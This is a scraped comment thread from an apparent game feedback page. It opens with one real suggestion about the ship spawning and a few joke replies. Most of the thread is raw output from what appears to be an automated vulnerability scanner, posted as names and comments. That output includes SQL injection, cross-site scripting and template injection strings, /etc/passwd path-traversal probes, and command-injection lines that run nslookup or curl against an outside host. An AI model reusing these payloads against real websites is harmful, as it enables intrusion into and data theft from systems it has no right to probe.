Feedback

Slide ship in on start by Kickass guy - 172 months ago

The ship is rather difficult to spot when it starts, perhaps give it a little push so it slides down the screen when it spawns?

• CrazyDeathling

  Or maybe click and drag it to where u want it to start

• DevilishDB

  It shows some small sparks coming out doesn't it?

• why i dont destroy the web

  lol

• i want to drink some pee

  llllllllliiiiiiiiiiiiiiilllllllllllll

• cattydoes

  do someone play roblox <:

• PSY

  oppa gangnam style

• Monsta

  gottam

• 4542700395844717

  Your comment

• @@V11c6

  1

• @@V11c6

  1

• @@jzgyW

  1

• @@jzgyW

  1

• @@jzgyW

  JJJ30QQQ

• @@jzgyW

  1

• WfxYANoW

  1

• WfxYANoW

  1BikhBMFRxO

• 12y3QnF0iO

  1

• Anonymous

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ${10000356+9999235}

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  response.write(9894174*9193068)

• WfxYANoW

  '+response.write(9894174*9193068)+'

• WfxYANoW

  "+response.write(9894174*9193068)+"

• WfxYANoW

  echo cululx$()\ bnzdxz\nz^xyu||a #' &echo cululx$()\ bnzdxz\nz^xyu||a #|" &echo cululx$()\ bnzdxz\nz^xyu||a #

• WfxYANoW

  Http://bxss.me/t/fit.txt

• ${10000251+9999782}

  1

• response.write(9209705*9295505)

  1

• WfxYANoW

  1&n941227=v963245

• WfxYANoW

  &echo lutnjl$()\ pfgwfh\nz^xyu||a #' &echo lutnjl$()\ pfgwfh\nz^xyu||a #|" &echo lutnjl$()\ pfgwfh\nz^xyu||a #

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1&echo xeynee$()\ htjelq\nz^xyu||a #' &echo xeynee$()\ htjelq\nz^xyu||a #|" &echo xeynee$()\ htjelq\nz^xyu||a #

• NXlQeHhKbEc=

  1

• '+response.write(9209705*9295505)+'

  1

• WfxYANoW&n983084=v921721

  1

• WfxYANoW

  |echo hbhmhw$()\ lnqnff\nz^xyu||a #' |echo hbhmhw$()\ lnqnff\nz^xyu||a #|" |echo hbhmhw$()\ lnqnff\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• "+response.write(9209705*9295505)+"

  1

• WfxYANoW

  1|echo wdfoyr$()\ qqctyj\nz^xyu||a #' |echo wdfoyr$()\ qqctyj\nz^xyu||a #|" |echo wdfoyr$()\ qqctyj\nz^xyu||a #

• WfxYANoW

  /etc/shells

• WfxYANoW

  )

• WfxYANoW

  3EKHazRS

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  (nslookup -q=cname hitlwrqlyrvsx3c7dd.bxss.me||curl hitlwrqlyrvsx3c7dd.bxss.me))

• WfxYANoW

  2IXls9oH: 9TXDt0Pp

• WfxYANoW

  1

• WfxYANoW

  $(nslookup -q=cname hitswzbndlfdc52627.bxss.me||curl hitswzbndlfdc52627.bxss.me)

• WfxYANoW

  ../1

• GbxRQ8Ic

  1

• WfxYANoW

  1

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  &nslookup -q=cname hitzojojtwibnbccc6.bxss.me&'\"`0&nslookup -q=cname hitzojojtwibnbccc6.bxss.me&`'

• WfxYANoW

  &(nslookup -q=cname hitjxkbphjcpd58fa5.bxss.me||curl hitjxkbphjcpd58fa5.bxss.me)&'\"`0&(nslookup -q=cname hitjxkbphjcpd58fa5.bxss.me||curl hitjxkbphjcpd58fa5.bxss.me)&`'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitya'.'kbqbnzzj31bb8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(87).chr(122).chr(73).'

• fMLwTDc1: Dkb33E48

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  '"()

• )

  1

• WfxYANoW

  bxss.me

• !(()&&!|*|*|

  1

• WfxYANoW

  ".gethostbyname(lc("hitbu"."atkslpjr1bff5.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(82).chr(99).chr(74)."

• WfxYANoW

  |(nslookup -q=cname hitzttzvtzhgvbf242.bxss.me||curl hitzttzvtzhgvbf242.bxss.me)

• WfxYANoW

  gethostbyname(lc('hitzw'.'fybewfml99caa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(78).chr(100).chr(76)

• WfxYANoW

  1'&&sleep(27*1000)*nwkwny&&'

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  `(nslookup -q=cname hitxhftdyuncj70498.bxss.me||curl hitxhftdyuncj70498.bxss.me)`

• WfxYANoW

  ';print(md5(31337));$a='

• file:///etc/passwd

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  ;(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)|(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)&(nslookup -q=cname hitamyjdsjgal24d48.bxss.me||curl hitamyjdsjgal24d48.bxss.me)

• WfxYANoW

  ";print(md5(31337));$a="

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  1

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1"&&sleep(27*1000)*wrnzxv&&"

• ../WfxYANoW

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hituzgzslapox8eac8.bxss.me||curl${IFS}hituzgzslapox8eac8.bxss.me)

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  '"

• WfxYANoW

  ${@print(md5(31337))}\

• xfs.bxss.me

  1

• WfxYANoW

  '.print(md5(31337)).'

• /etc/shells

  1

• WfxYANoW

  <!--

• WfxYANoW

  1'"()&%<zzz><ScRiPt >VFY2(9297)</ScRiPt>

• WfxYANoW

  1'||sleep(27*1000)*tgyykh||'

• WfxYANoW

  '"()&%<zzz><ScRiPt >VFY2(9468)</ScRiPt>

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitqtixofgdip52369.bxss.me||curl${IFS}hitqtixofgdip52369.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqtixofgdip52369.bxss.me||curl${IFS}hitqtixofgdip52369.bxss.me)&`'

• c:/windows/win.ini

  1

• WfxYANoW

  1"||sleep(27*1000)*rxctwz||"

• '"

  1

• bxss.me

  1

• WfxYANoW

  19887024

• ';print(md5(31337));$a='

  1

• ";print(md5(31337));$a="

  1

• <!--

  1

• WfxYANoW

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  bfg10853＜s1﹥s2ʺs3ʹhjl10853

• WfxYANoW

  comment

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(115).concat(88).concat(119).concat(75)+(require"socket" Socket.gethostbyname("hitsm"+"pmamygcta76aa.bxss.me.")[3].to_s)+"

• ${@print(md5(31337))}

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(119).concat(79).concat(100).concat(74)+(require'socket' Socket.gethostbyname('hitoy'+'mblsllwo90a96.bxss.me.')[3].to_s)+'

• WfxYANoW

  comment

• ${@print(md5(31337))}\

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(111).concat(65).concat(103).concat(77)+(require'socket' Socket.gethostbyname('hitnb'+'ucqnzzsqc2d24.bxss.me.')[3].to_s)

• '"()

  1

• WfxYANoW'&&sleep(27*1000)*amptwo&&'

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  comment/.

• WfxYANoW"&&sleep(27*1000)*hziigh&&"

  1

• bxss.me/t/xss.html?%00

  1

• WfxYANoW'||sleep(27*1000)*fhpitg||'

  1

• comment

  1

• WfxYANoW"||sleep(27*1000)*ouuevk||"

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• comment

  1

• comment/.

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  1

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >VFY2(9798)</ScRiPt>

• WfxYANoW

  1<W3LVDG>IR4ZZ[!+!]</W3LVDG>

• WfxYANoW

  1<script>VFY2(9932)</script>

• WfxYANoW

  1<script>VFY2(9520)</script>9520

• WfxYANoW

  1<ScR<ScRiPt>IpT>VFY2(9566)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >VFY2(9088)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9441></ScRiPt>

• WfxYANoW

  1<ScRiPt >VFY2(9007)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=VFY2(9220)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9766'>

• WfxYANoW

  1<body onload=VFY2(9052)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=VFY2(9462)>

• WfxYANoW

  1<img src=xyz OnErRor=VFY2(9704)>

• WfxYANoW

  1jtJk8Y91

• WfxYANoW

  1<img/src=">" onerror=alert(9259)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%56%46%59%32%289289%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\VFY2(9893)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;VFY2(9130)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=VFY2(9291)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+833-833-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1 OR 2+67-67-1=0+0+0+1

• WfxYANoW

  1}body{zzz:Expre/**/SSion(VFY2(9808))}

• WfxYANoW

  1W2Z06 <ScRiPt >VFY2(9383)</ScRiPt>

• WfxYANoW

  -1' OR 2+757-757-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+390-390-1=0+0+0+1 or 'NoXrPqu8'='

• WfxYANoW

  1<W3W2OI>KDXYF[!+!]</W3W2OI>

• WfxYANoW

  -1" OR 2+244-244-1=0+0+0+1 --

• WfxYANoW

  1<ifRAme sRc=9562.com></IfRamE>

• WfxYANoW

  1<av8uPDu x=9242>

• WfxYANoW

  1<img sRc='http://attacker-9014/log.php?

• WfxYANoW

  1<awY6xAv<

• WfxYANoW'"()&%<zzz><ScRiPt >VFY2(9330)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >VFY2(9436)</ScRiPt>

  1

• WfxYANoW9511190

  1

• bfg1306＜s1﹥s2ʺs3ʹhjl1306

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >VFY2(9998)</ScRiPt>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<WQIZN6>ATVDE[!+!]</WQIZN6>

  1

• WfxYANoW<script>VFY2(9055)</script>

  1

• WfxYANoW<script>VFY2(9353)</script>9353

  1

• WfxYANoW<ScRiPt >VFY2(9903)</ScRiPt>

  1

• WfxYANoW<ScRiPt >VFY2(9151)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=VFY2(9350)>

  1

• WfxYANoW<img src=xyz OnErRor=VFY2(9594)>

  1

• WfxYANoW<img/src=">" onerror=alert(9036)>

  1

• WfxYANoW\u003CScRiPt\VFY2(9672)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;VFY2(9288)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=VFY2(9504)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW}body{zzz:Expre/**/SSion(VFY2(9833))}

  1

• WfxYANoWVFon8 <ScRiPt >VFY2(9089)</ScRiPt>

  1

• WfxYANoW<WDJJT8>ZWE58[!+!]</WDJJT8>

  1

• WfxYANoW<ifRAme sRc=9175.com></IfRamE>

  1

• WfxYANoW<a7EnWtX x=9118>

  1

• WfxYANoW<img sRc='http://attacker-9710/log.php?

  1

• WfxYANoW<aVoiJ1P<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1UWgJ4GsT'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 419=(SELECT 419 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 787=(SELECT 787 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 224=(SELECT 224 FROM PG_SLEEP(15))--

• WfxYANoW

  1uox74b0P' OR 959=(SELECT 959 FROM PG_SLEEP(15))--

• WfxYANoW

  14pWu0V05') OR 191=(SELECT 191 FROM PG_SLEEP(15))--

• WfxYANoW

  1uIoqfdY0')) OR 896=(SELECT 896 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@bU37E

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWbGnPhAqE

  1

• WfxYANoW

  1

• -1 OR 2+595-595-1=0+0+0+1 --

  1

• -1 OR 2+984-984-1=0+0+0+1

  1

• -1' OR 2+216-216-1=0+0+0+1 --

  1

• -1' OR 2+796-796-1=0+0+0+1 or '4esoIRN1'='

  1

• -1" OR 2+524-524-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoW62uv4rZ4'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@BBJDh

  1

• WfxYANoW

  1'"()&%<zzz><ScRiPt >QOg5(9034)</ScRiPt>

• WfxYANoW

  '"()&%<zzz><ScRiPt >QOg5(9085)</ScRiPt>

• WfxYANoW'"()&%<zzz><ScRiPt >lB6I(9841)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >lB6I(9180)</ScRiPt>

  1

• WfxYANoW

  19359382

• WfxYANoW9014375

  1

• WfxYANoW

  bfg3146＜s1﹥s2ʺs3ʹhjl3146

• bfg5631＜s1﹥s2ʺs3ʹhjl5631

  1

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• <th:t="${dfb}#foreach

  1

• WfxYANoW

  <th:t="${dfb}#foreach

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• dfb{{98991*97996}}xca

  1

• WfxYANoW

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW<ScRiPt >lB6I(9152)</ScRiPt>

  1

• WfxYANoW

  1<ScRiPt >QOg5(9957)</ScRiPt>

• WfxYANoW

  1<W4KPDY>HU4H4[!+!]</W4KPDY>

• WfxYANoW<WOJ4GD>QE2F1[!+!]</WOJ4GD>

  1

• WfxYANoW

  1<script>QOg5(9909)</script>

• WfxYANoW<script>lB6I(9516)</script>

  1

• WfxYANoW

  1<script>QOg5(9667)</script>9667

• WfxYANoW<script>lB6I(9092)</script>9092

  1

• WfxYANoW

  1<ScR<ScRiPt>IpT>QOg5(9591)</sCr<ScRiPt>IpT>

• WfxYANoW<ScRiPt >lB6I(9243)</ScRiPt>

  1

• WfxYANoW

  1<ScRiPt >QOg5(9520)</ScRiPt>

• WfxYANoW<ScRiPt >lB6I(9966)</ScRiPt>

  1

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9810></ScRiPt>

• WfxYANoW

  1<ScRiPt >QOg5(9862)</ScRiPt>

• WfxYANoW<body onload=lB6I(9230)>

  1

• WfxYANoW

  1<isindex type=image src=1 onerror=QOg5(9396)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9709'>

• WfxYANoW<img src=xyz OnErRor=lB6I(9103)>

  1

• WfxYANoW

  1<body onload=QOg5(9875)>

• WfxYANoW<img/src=">" onerror=alert(9274)>

  1

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=QOg5(9308)>

• WfxYANoW

  1<img src=xyz OnErRor=QOg5(9597)>

• WfxYANoW\u003CScRiPt\lB6I(9130)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;lB6I(9305)&lt;/sCripT&gt;

  1

• WfxYANoW

  1<img/src=">" onerror=alert(9139)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%51%4F%67%35%289741%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW<input autofocus onfocus=lB6I(9370)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• WfxYANoW

  1\u003CScRiPt\QOg5(9106)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;QOg5(9949)&lt;/sCripT&gt;

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(lB6I(9441))}

  1

• WfxYANoW

  1<input autofocus onfocus=QOg5(9427)>

• WfxYANoWK30eB <ScRiPt >lB6I(9307)</ScRiPt>

  1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW<W90NBV>RHHIT[!+!]</W90NBV>

  1

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(QOg5(9477))}

• WfxYANoW

  1nugDP <ScRiPt >QOg5(9012)</ScRiPt>

• WfxYANoW<ifRAme sRc=9428.com></IfRamE>

  1

• WfxYANoW

  1<WQLEJT>VS3UG[!+!]</WQLEJT>

• WfxYANoW<a5fRBC0 x=9909>

  1

• WfxYANoW

  1<ifRAme sRc=9745.com></IfRamE>

• WfxYANoW<img sRc='http://attacker-9759/log.php?

  1

• WfxYANoW

  1<aOzoEWf x=9911>

• WfxYANoW<ajniahS<

  1

• WfxYANoW

  1<img sRc='http://attacker-9706/log.php?

• WfxYANoW

  1<azVBZrP<

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• ubaTaeCJ

  1

• ubaTaeCJ

  1

• @@SHgzn

  1

• @@SHgzn

  1

• egfhgdxv

  1

• rwxkaatn

  response.write(9624234*9771045)

• rwxkaatn

  '+response.write(9624234*9771045)+'

• rwxkaatn

  "+response.write(9624234*9771045)+"

• response.write(9724148*9729177)

  1

• '+response.write(9724148*9729177)+'

  1

• "+response.write(9724148*9729177)+"

  1

• uetlulyh

  1

• uetlulyh

  1

• ebacpqvr

  set|set&set

• uetlulyh

  zpmppVJs

• ebacpqvr

  $(nslookup p3k2IoLI)

• uetlulyh

  -1 OR 2+804-804-1=0+0+0+1 --

• ebacpqvr

  &nslookup 2BoutBR0&'\"`0&nslookup 2BoutBR0&`'

• uetlulyh

  -1 OR 2+646-646-1=0+0+0+1

• set|set&set

  1

• uetlulyh

  -1' OR 2+50-50-1=0+0+0+1 --

• $(nslookup kO7gCfQX)

  1

• uetlulyh

  -1' OR 2+344-344-1=0+0+0+1 or '569NcYSf'='

• &nslookup dPWuF3Bw&'\"`0&nslookup dPWuF3Bw&`'

  1

• uetlulyh

  -1" OR 2+760-760-1=0+0+0+1 --

• qoehthqf

  gbVsRM8R

• uetlulyh

  if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/

• s1biSeN2

  1

• uetlulyh

  (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

• brmrfyyv

  ../../../../../../../../../../etc/passwd

• uetlulyh

  -1; waitfor delay '0:0:9' --

• brmrfyyv

  ../../../../../../../../../../../../../../../proc/version

• uetlulyh

  -1); waitfor delay '0:0:9' --

• brmrfyyv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uetlulyh

  1 waitfor delay '0:0:3' --

• brmrfyyv

  ../../../../../../../../../../etc/passwd.jpg

• uetlulyh

  ythPjxNN'; waitfor delay '0:0:3' --

• brmrfyyv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uetlulyh

  -1;select pg_sleep(3); --

• brmrfyyv

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• uetlulyh

  -1);select pg_sleep(3); --

• brmrfyyv

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• uetlulyh

  -1));select pg_sleep(3); --

• brmrfyyv

  /etc/passwd

• uetlulyh

  zcZArfwx';select pg_sleep(3); --

• brmrfyyv

  %2fetc%2fpasswd

• ytdnrtlb

  1

• uetlulyh

  ANlBdmPu');select pg_sleep(6); --

• brmrfyyv

  /.././.././.././.././.././.././.././../etc/./passwd%00

• uetlulyh

  QOlBWQ5U'));select pg_sleep(6); --

• brmrfyyv

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• uetlulyh

  1

• rmxiotrl

  ${10000383+9999853}

• brmrfyyv

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• uetlulyh

  1

• ${10000442+9999215}

  1

• ytdnrtlb

  1

• S3kfmFOV

  1

• caculgho

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• dFdIbXlza2U=

  1

• brmrfyyv

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• Anonymous

  1

• -1 OR 2+786-786-1=0+0+0+1 --

  1

• caculgho

  1some_inexistent_file_with_long_name.jpg

• yjotedlr

  1&n998762=v915589

• brmrfyyv

  file:///etc/passwd

• -1 OR 2+624-624-1=0+0+0+1

  1

• caculgho

  Http://testasp.vulnweb.com/t/fit.txt

• brmrfyyv

  /\../\../\../\../\../\../\../etc/passwd

• yurriueo

  )

• -1' OR 2+57-57-1=0+0+0+1 --

  1

• caculgho

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• rqdedglb&n984500=v911377

  1

• brmrfyyv

  WEB-INF/web.xml

• yurriueo

  !(()&&!|*|*|

• -1' OR 2+452-452-1=0+0+0+1 or 'NZrMAhyL'='

  1

• cluyhpqy

  ;print(md5(acunetix_wvs_security_test));

• caculgho

  testasp.vulnweb.com

• brmrfyyv

  /WEB-INF/web.xml

• yurriueo

  ^(#$!@#$)(()))******

• mataqtff

  '"()

• -1" OR 2+56-56-1=0+0+0+1 --

  1

• cluyhpqy

  ';print(md5(acunetix_wvs_security_test));$a='

• brmrfyyv

  WEB-INF\web.xml

• olhlswpp

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• )

  1

• cluyhpqy

  ";print(md5(acunetix_wvs_security_test));$a="

• 1some_inexistent_file_with_long_name.jpg

  1

• ../../../../../../../../../../etc/passwd

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• !(()&&!|*|*|

  1

• '"()

  1

• cluyhpqy

  ${@print(md5(acunetix_wvs_security_test))}

• Http://testasp.vulnweb.com/t/fit.txt

  1

• initpsfi

  1

• ^(#$!@#$)(()))******

  1

• hjblqbop

  http://hitpmkzhZadon.bxss.me/

• 1 waitfor delay '0:0:9' --

  1

• cluyhpqy

  ${@print(md5(acunetix_wvs_security_test))}\

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• initpsfi

  comment

• lsoroukb

  1

• hv08K8CW'; waitfor delay '0:0:9' --

  1

• http://hitZQGeheJodM.bxss.me/

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• testasp.vulnweb.com

  1

• initpsfi

  comment

• lsoroukb

  1'"

• gXZOULfY';select pg_sleep(13); --

  1

• oapqcydo

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ../../../../../../../../../../etc/passwd.jpg

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• rorbolha

  /www.vulnweb.com

• initpsfi

  comment/.

• lsoroukb

  \

• GItxJzsQ');select pg_sleep(13); --

  1

• swjlqemr

  '"

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• /www.vulnweb.com

  1

• initpsfi

  1

• QN5lOB87'));select pg_sleep(13); --

  1

• swjlqemr

  <!--

• ${@print(md5(acunetix_wvs_security_test))}

  1

• lwqibllw

  1'"()&%<acx><ScRiPt >epDN(9328)</ScRiPt>

• comment

  1

• lsoroukb

  @@8SYjl

• '"

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• comment

  1

• lsoroukb

  JyI=

• <!--

  1

• /etc/passwd

  1

• comment/.

  1

• lwqibllw

  '"()&%<acx><ScRiPt >epDN(9258)</ScRiPt>

• %2fetc%2fpasswd

  1

• lsoroukb

  (select convert(int,CHAR(65)))

• lwqibllw

  1_9477

• lsoroukb

  1

• 1'"

  1

• \

  1

• lwqibllw

  acu7300＜s1﹥s2ʺs3ʹuca7300

• @@4VAJK

  1

• JyI=

  1

• lwqibllw

  {{10000222*9999195}}

• (select convert(int,CHAR(65)))

  1

• lwqibllw

  1<ScRiPt >epDN(9647)</ScRiPt>

• lwqibllw

  1<W7V5CC>W3BDM[!+!]</W7V5CC>

• lwqibllw

  1<script>epDN(9657)</script>

• lwqibllw

  1<ScR<ScRiPt>IpT>epDN(9518)</sCr<ScRiPt>IpT>

• lwqibllw

  1<ScRiPt >epDN(9152)</ScRiPt>

• lwqibllw

